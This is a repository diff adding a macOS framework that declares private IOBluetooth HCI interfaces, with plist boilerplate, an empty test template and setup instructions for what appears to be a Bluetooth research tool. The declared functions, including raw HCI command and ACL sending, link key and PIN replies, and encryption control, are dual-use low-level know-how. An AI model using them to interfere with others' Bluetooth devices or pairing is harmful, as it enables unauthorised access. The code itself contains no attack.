- (int)BluetoothHCISetEventFilter:(unsigned char)arg1 inFilterConditionType:(unsigned char)arg2 inCondition:(struct BluetoothEventFilterCondition *)arg3;
- (int)BluetoothHCIReset;
- (int)BluetoothHCISetEventMask:(const struct BluetoothSetEventMask *)arg1;
- (int)BluetoothHCISniffSubrating:(unsigned short)arg1 inMaximumLatency:(unsigned short)arg2 inMinimumRemoteTimeout:(unsigned short)arg3 inMinimumLocalTimeout:(unsigned short)arg4 outConnectionHandle:(unsigned short *)arg5;
- (int)BluetoothHCIFlowSpecification:(struct BluetoothHCIEventFlowSpecificationData *)arg1 outFlowSpecificationCompleteResults:(struct BluetoothHCIEventFlowSpecificationData *)arg2;
- (int)BluetoothHCIWriteDefaultLinkPolicySettings:(unsigned short)arg1;
- (int)BluetoothHCIReadDefaultLinkPolicySettings:(unsigned short *)arg1;
- (int)BluetoothHCIWriteLinkPolicySettings:(unsigned short)arg1 inLinkPolicySettings:(unsigned short)arg2;
- (int)BluetoothHCIReadLinkPolicySettings:(unsigned short)arg1 outLinkPolicySettings:(unsigned short *)arg2;
- (int)BluetoothHCISwitchRole:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outRoleChangeResults:(struct BluetoothHCIEventRoleChangeResults *)arg3;
- (int)BluetoothHCIRoleDiscovery:(unsigned short)arg1 outCurrentRole:(char *)arg2;
- (int)BluetoothHCIQoSSetup:(unsigned short)arg1 inFlags:(unsigned char)arg2 inServiceType:(unsigned char)arg3 inTokenRate:(unsigned int)arg4 inPeakBandwidth:(unsigned int)arg5 inLatency:(unsigned int)arg6 inDelayVariation:(unsigned int)arg7 outQoSSetupCompleteResults:(struct BluetoothHCIEventQoSSetupCompleteResults *)arg8;
- (int)BluetoothHCIExitParkState:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
- (int)BluetoothHCIParkState:(unsigned short)arg1 inBeaconMaxInterval:(unsigned short)arg2 inBeaconMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
- (int)BluetoothHCIExitSniffMode:(unsigned short)arg1 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg2;
- (int)BluetoothHCISniffMode:(unsigned short)arg1 inSniffMaxInterval:(unsigned short)arg2 inSniffMinInterval:(unsigned short)arg3 inSniffAttempt:(unsigned short)arg4 inSniffTimeout:(unsigned short)arg5 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg6;
- (int)BluetoothHCIHoldMode:(unsigned short)arg1 inHoldModeMaxInterval:(unsigned short)arg2 inHoldModeMinInterval:(unsigned short)arg3 outModeChangeResults:(struct BluetoothHCIEventModeChangeResults *)arg4;
- (int)BluetoothHCIIOCapabilityRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2;
- (int)BluetoothHCIRemoteOOBDataRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIRemoteOOBDataRequestReply:(const struct BluetoothDeviceAddress *)arg1 inC:(const struct BluetoothHCISimplePairingOOBData *)arg2 inR:(const struct BluetoothHCISimplePairingOOBData *)arg3;
- (int)BluetoothHCIUserPasskeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIUserPasskeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inNumericValue:(unsigned int)arg2;
- (int)BluetoothHCIUserConfirmationRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIUserConfirmationRequestReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIIOCapabilityRequestReply:(const struct BluetoothDeviceAddress *)arg1 inIOCapability:(unsigned char)arg2 inOOBDataPresent:(unsigned char)arg3 inAuthenticationRequirements:(unsigned char)arg4;
- (int)BluetoothHCIRejectSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg3;
- (int)BluetoothHCIAcceptSynchronousConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inContentFormat:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
- (int)BluetoothHCISetupSynchronousConnection:(unsigned short)arg1 inTransmitBandwidth:(unsigned int)arg2 inReceiveBandwidth:(unsigned int)arg3 inMaxLatency:(unsigned short)arg4 inVoiceSetting:(unsigned short)arg5 inRetransmissionEffort:(unsigned char)arg6 inPacketType:(unsigned short)arg7 outSynchronousConnectionCompleteResults:(struct BluetoothHCIEventSynchronousConnectionCompleteResults *)arg8;
- (int)BluetoothHCIReadLMPHandle:(unsigned short)arg1 outReadLMPHandleResults:(struct BluetoothHCIReadLMPHandleResults *)arg2;
- (int)BluetoothHCIReadClockOffset:(unsigned short)arg1 outReadClockOffsetCompleteResults:(unsigned short *)arg2;
- (int)BluetoothHCIReadRemoteVersionInformation:(unsigned short)arg1 outReadRemoteVersionInformationCompleteResults:(struct BluetoothHCIEventReadRemoteVersionInfoResults *)arg2;
- (int)BluetoothHCIReadRemoteExtendedFeatures:(unsigned short)arg1 inPageNumber:(unsigned char)arg2 outReadRemoteExtendedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteExtendedFeaturesResults *)arg3;
- (int)BluetoothHCIReadRemoteSupportedFeatures:(unsigned short)arg1 outReadRemoteSupportedFeaturesCompleteResults:(struct BluetoothHCIEventReadRemoteSupportedFeaturesResults *)arg2;
- (int)BluetoothHCIRemoteNameRequestCancel:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIRemoteNameRequest:(const struct BluetoothDeviceAddress *)arg1 inPageScanRepetitionMode:(unsigned char)arg2 inReserved:(unsigned char)arg3 inClockOffset:(unsigned short)arg4 outRemoteNameRequestCompleteResults:(struct BluetoothHCIEventRemoteNameRequestResults *)arg5;
- (int)BluetoothHCIMasterLinkKey:(unsigned char)arg1 outMasterLinkKeyCompleteResults:(struct BluetoothHCIEventMasterLinkKeyCompleteResults *)arg2;
- (int)BluetoothHCIChangeConnectionLinkKey:(unsigned short)arg1 outChangeConnectionLinkKeyCompleteResults:(struct BluetoothHCIEventChangeConnectionLinkKeyCompleteResults *)arg2;
- (int)BluetoothHCISetConnectionEncryption:(unsigned short)arg1 inEncryptionEnable:(unsigned char)arg2 outEncryptionChangeResults:(struct BluetoothHCIEventEncryptionChangeResults *)arg3;
- (int)BluetoothHCIAuthenticationRequested:(unsigned short)arg1 outAuthenticationCompleteResults:(struct BluetoothHCIEventAuthenticationCompleteResults *)arg2;
- (int)BluetoothHCIChangeConnectionPacketType:(unsigned short)arg1 inPacketType:(unsigned short)arg2 outConnectionPacketTypeChangedResults:(struct BluetoothHCIEventConnectionPacketTypeResults *)arg3;
- (int)BluetoothHCIPINCodeRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIPINCodeRequestReply:(const struct BluetoothDeviceAddress *)arg1 inPINCodeLength:(unsigned long long)arg2 inPINCode:(const struct BluetoothPINCode *)arg3;
- (int)BluetoothHCILinkKeyRequestNegativeReply:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCILinkKeyRequestReply:(const struct BluetoothDeviceAddress *)arg1 inLinkKey:(const struct BluetoothKey *)arg2;
- (int)BluetoothHCIRejectConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inReason:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCIAcceptConnectionRequest:(const struct BluetoothDeviceAddress *)arg1 inRole:(unsigned char)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
- (int)BluetoothHCICreateConnectionCancel:(const struct BluetoothDeviceAddress *)arg1;
- (int)BluetoothHCIDisconnect:(unsigned short)arg1 inReason:(unsigned char)arg2 outDisconnectionCompleteResults:(struct BluetoothHCIEventDisconnectionCompleteResults *)arg3;
- (int)BluetoothHCICreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 inPageScanRepetitionMode:(unsigned char)arg3 inReserved:(unsigned char)arg4 inClockOffset:(unsigned short)arg5 inAllowRoleSwitch:(unsigned char)arg6 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg7;
- (int)BluetoothHCIExitPeriodicInquiryMode;
- (int)BluetoothHCIPeriodicInquiryMode:(unsigned char)arg1 inMinPeriodLength:(unsigned char)arg2 inLAP:(unsigned int)arg3 inInquiryLength:(unsigned char)arg4 inNumResponses:(unsigned char)arg5 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg6;
- (int)BluetoothHCIInquiryCancel;
- (int)BluetoothHCIInquiry:(unsigned int)arg1 inInquiryLength:(unsigned char)arg2 inNumResponses:(unsigned char)arg3 outInquiryResults:(struct BluetoothHCIInquiryResults *)arg4;
- (void)releaseRequest:(unsigned int)arg1;
- (unsigned int)requestWithTimeout:(int)arg1 isSynchronous:(BOOL)arg2 device:(id)arg3;
- (int)setClassOfDevice:(unsigned int)arg1 forTimeInterval:(double)arg2;
- (unsigned int)classOfDevice;
- (unsigned short)USBVendorID;
- (unsigned short)USBProductID;
- (int)configState;
- (unsigned int)featureFlags;
- (int)getAddress:(struct BluetoothDeviceAddress *)arg1;
- (id)nameAsString;
- (id)addressAsString;
- (int)setProperty:(id)arg1 forKey:(id)arg2;
- (int)enableRemoteWake:(BOOL)arg1;
- (int)softwareVersion:(struct NumVersion *)arg1 firmwareVersion:(struct BluetoothHCIVersionInfo *)arg2;
- (int)getControllerManufacturerName;
- (int)getDiagnosticInfo;
- (BOOL)isReady;
- (void)finalize;
- (void)dealloc;
- (id)init;
@end
#pragma mark - Private IOBluetooth Functions
struct IOBluetoothHCIDispatchParams {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};
struct BluetoothHCIUserClientNotificationDataInfo {
unsigned long long _field1;
unsigned long long _field2;
struct BluetoothHCIRequestCallbackInfo _field3;
unsigned int parameterSize;
unsigned int _field5;
unsigned short opcode;
unsigned char _field7;
unsigned char _field8;
unsigned char _field9;
unsigned char _field10;
unsigned char _field11;
unsigned char _field12;
};
struct IOBluetoothHCIEventNotificationMessage {
struct BluetoothHCIUserClientNotificationDataInfo dataInfo;
void *eventParameterBytes;
};
int BluetoothHCIRequestCreate(uint32_t *request, int timeout, void* arg3, size_t arg4);
int BluetoothHCIRequestDelete(uint32_t request);
int BluetoothHCISendRawCommand(uint32_t request,
void *commandData,
size_t commmandSize);
int BluetoothHCISendRawACLData(void *commandData,
size_t commandSize,
uint32_t handle,
uint32_t request);
int BluetoothHCIDispatchUserClientRoutine(struct IOBluetoothHCIDispatchParams *arguments,
unsigned char *returnValue,
size_t *returnValueSize);
#pragma mark - Helper Methods
/**
Data object for notification message.
*/
static inline NSData * IOBluetoothHCIEventParameterData(IOBluetoothHCIEventNotificationMessageRef message)
//__attribute__((swift_name("getter:IOBluetoothHCIEventNotificationMessageRef.eventParameterData(self:)")))
{
size_t size = message->dataInfo.parameterSize;
NSData *data = [NSData dataWithBytes:&message->eventParameterBytes length:size];
return data;
}
NS_ASSUME_NONNULL_END
@@ -0,0 +1,24 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>FMWK</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>$(CURRENT_PROJECT_VERSION)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2019 Davide Toldo. All rights reserved.</string>
</dict>
</plist>
@@ -0,0 +1,37 @@
//
// IOBluetoothExtendedTests.m
// IOBluetoothExtendedTests
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <XCTest/XCTest.h>
@interface IOBluetoothExtendedTests : XCTestCase
@end
@implementation IOBluetoothExtendedTests
- (void)setUp {
// Put setup code here. This method is called before the invocation of each test method in the class.
}
- (void)tearDown {
// Put teardown code here. This method is called after the invocation of each test method in the class.
}
- (void)testExample {
// This is an example of a functional test case.
// Use XCTAssert and related functions to verify your tests produce the correct results.
}
- (void)testPerformanceExample {
// This is an example of a performance test case.
[self measureBlock:^{
// Put the code you want to measure the time of here.
}];
}
@end
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>BNDL</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
</dict>
</plist>
+23
View File
@@ -0,0 +1,23 @@
macOS Setup
-----------
```
brew install unicorn
pip install pwntools
pip install pyobjc
open internalblue/macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
```
⌘ + B
```
python internalblue/cli.py
```
If you want to use ARM assembly and disassembly, which is required for some patches and debugging:
* brew install https://github.com/Gallopsled/pwntools-binutils/raw/master/osx/binutils-arm.rb
* Xcode 10.2.1

Some files were not shown because too many files have changed in this diff Show More